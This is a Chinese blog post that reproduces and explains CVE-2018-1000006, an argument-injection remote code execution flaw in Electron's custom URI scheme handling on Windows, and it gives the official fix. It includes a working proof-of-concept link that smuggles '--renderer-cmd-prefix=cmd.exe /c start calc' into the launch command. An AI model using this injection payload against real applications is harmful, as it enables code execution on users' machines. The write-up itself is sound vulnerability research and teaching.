CVE-2018-1000006:Electron远程代码执行漏洞复现与初步分析

CVE-2018-1000006:Electron远程代码执行漏洞复现与初步分析

0x00 前言

Electron是一个基于Chromium和Node.js,使用JavaScript、HTML和CSS构建跨平台桌面应用的开源框架。近年来应用愈加广泛,像Slack、Skype、XXX音乐、Github的Atom、Microsoft的VS Code均采用该框架开发。

第一次接触Electron是分析Atom前段时间的一个远程代码执行漏洞(可以参考这篇:From Markdown to RCE in Atom),对Electron有了大概的印象。

下午的时候在冰总的群里看到有几位大佬在讨论Electron爆了远程代码执行漏洞(CVE-2018-1000006),由于我比较菜,便想着跟着分析下,学习一发。

第一次跟Electron正面刚,行文如有谬误,还请各位师傅们指正。

0x01 基础环境

Microsoft Windows 7 专业版

node v8.9.4

npm 5.6.0

Electron 1.7.10(存在漏洞的版本)

0x02 漏洞分析

根据官方描述,该远程代码执行漏洞被分配编号为:CVE-2018-1000006,Windows操作系统下,使用应用自定义协议(Custom URI Scheme)Handler的Electron应用均会受到该漏洞的影响。

漏洞环境搭建

先把环境搭建出来,将存在漏洞的Electron 1.7.10压缩包下载至本地,双击electron.exe运行。(实现环境下直接将写的代码用鼠标拖至Electron窗体里即可运行。)

确认项目没有问题后,即可进行后续的漏洞分析工作。

PoC的构造

通过漏洞公告可以知道,漏洞存在于app.setAsDefaultProtocolClient()方法。

昨天捅咕了半天,没啥进展,今天先知上有大佬发了分析文章(Electron < v1.8.2-beta.4 远程命令执行漏洞-【CVE-2018-1000006】),学习一发,PoC采用原作者提供的。

将存在漏洞的项目拖至electron.exe窗体中即可运行。

PoC(from CHYbeta/CVE-2018-1000006-DEMO):

<html>
<head>
	POC for CVE-2018-1000006
</head>
<body>
 <a class="protocol" href='chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc'><h3>payload: chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc</h3></a>
</body>
</html>

点击超链接,则会触发这个RCE,实现命令执行。

原理浅析

由官方的漏洞公告可知,该漏洞存在位置app.setAsDefaultProtocolClient(),在仓库中全局搜索SetAsDefaultProtocolClient(electron/electron),由于该漏洞仅影响Windows系统,则关注下browser_win.cc#L212(github.com/electron/ele),该函数的主要的功能是实现注册表键值的注册。

bool Browser::SetAsDefaultProtocolClient(const std::string& protocol,
                                       mate::Arguments* args) {
 // HKEY_CLASSES_ROOT
 //    $PROTOCOL
 //       (Default) = "URL:$NAME"
 //       URL Protocol = ""
 //       shell
 //          open
 //             command
 //                (Default) = "$COMMAND" "%1"
 //
 // However, the "HKEY_CLASSES_ROOT" key can only be written by the
 // Administrator user. So, we instead write to "HKEY_CURRENT_USER\
 // Software\Classes", which is inherited by "HKEY_CLASSES_ROOT"
 // anyway, and can be written by unprivileged users.

 if (protocol.empty())
   return false;

 base::string16 exe;
 if (!GetProtocolLaunchPath(args, &exe))
   return false;

 // Main Registry Key
 HKEY root = HKEY_CURRENT_USER;
 base::string16 keyPath = base::UTF8ToUTF16("Software\\Classes\\" + protocol);
 base::string16 urlDecl = base::UTF8ToUTF16("URL:" + protocol);

 // Command Key
 base::string16 cmdPath = keyPath + L"\\shell\\open\\command";

 // Write information to registry
 base::win::RegKey key(root, keyPath.c_str(), KEY_ALL_ACCESS);
 if (FAILED(key.WriteValue(L"URL Protocol", L"")) ||
     FAILED(key.WriteValue(L"", urlDecl.c_str())))
   return false;

 base::win::RegKey commandKey(root, cmdPath.c_str(), KEY_ALL_ACCESS);
 if (FAILED(commandKey.WriteValue(L"", exe.c_str())))
   return false;

 return true;
}

通过运行regedit打开注册表编辑器可以看到

运行PoC,点击构造好的超链接(payload),注册表中的%1则会替换为payload,

chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc

payload中的双引号闭合掉前面的双引号,最后形成如下所示命令

elec_rce.exe "chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc"

通过第3个参数带入Chromium实现命令执行:--renderer-cmd-prefix=cmd.exe /c start calc

缕一下攻击场景和完整的利用思路:

0、程序开发时调用了存在漏洞的函数,实现用户自定义协议的注册,拿我这个来说注册了test协议,那当用户访问test协议下的资源时,就会启动该程序访问(test://xxx)

app.setAsDefaultProtocolClient('test')

1、程序启动时会在注册表中注册键值(%1是占位符,用于接收用户输入的参数)

"E:\elec_rce.exe" "%1"

2、执行PoC时,通过刚刚程序注册的test://自定义协议触发

test://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc

3、payload带入占位符%1,同时闭合双引号,通过后续的参数--renderer-cmd-prefix,传递至Chromium,实现命令执行

0x03 影响范围

Electron < 1.8.2-beta.4、1.7.11、1.6.16 的版本

0x04 修复建议

官方提供 2 两种修复方法:

1、升级至 1.8.2-beta.41.7.111.6.16 版本

2、不升级的话,可以在调用app.setAsDefaultProtocolClient()函数时,增加--参数(代表命令行选项的结束,类似注释?),避免Chromium解析更多的选项

app.setAsDefaultProtocolClient(protocol, process.execPath, [
 '--your-switches-here',
 '--'
])

0x05 后记

大佬们还是强啊,各种MSDN、chromium文档,学习了。

人的命运要靠自我奋斗,但也要考虑历史的进程,希望身边的每一个大佬都越来越好,希望有一天我也可以成为我想成为的人。

0x06 参考链接

Registering an Application to a URI Scheme

sh3ll.me/archives/20180

Electron < v1.8.2-beta.4 远程命令执行漏洞-【CVE-2018-1000006】

electron/electron

statuscode.ch/2017/11/f

Electron | Build cross platform desktop apps with JavaScript, HTML, and CSS.

Protocol Handler Vulnerability Fix | Electron Blog

app | Electron

CVE - CVE-2018-1000006

Disallow launching unknown apps via browser client. · electron/electron@c49cb29

文章被以下专栏收录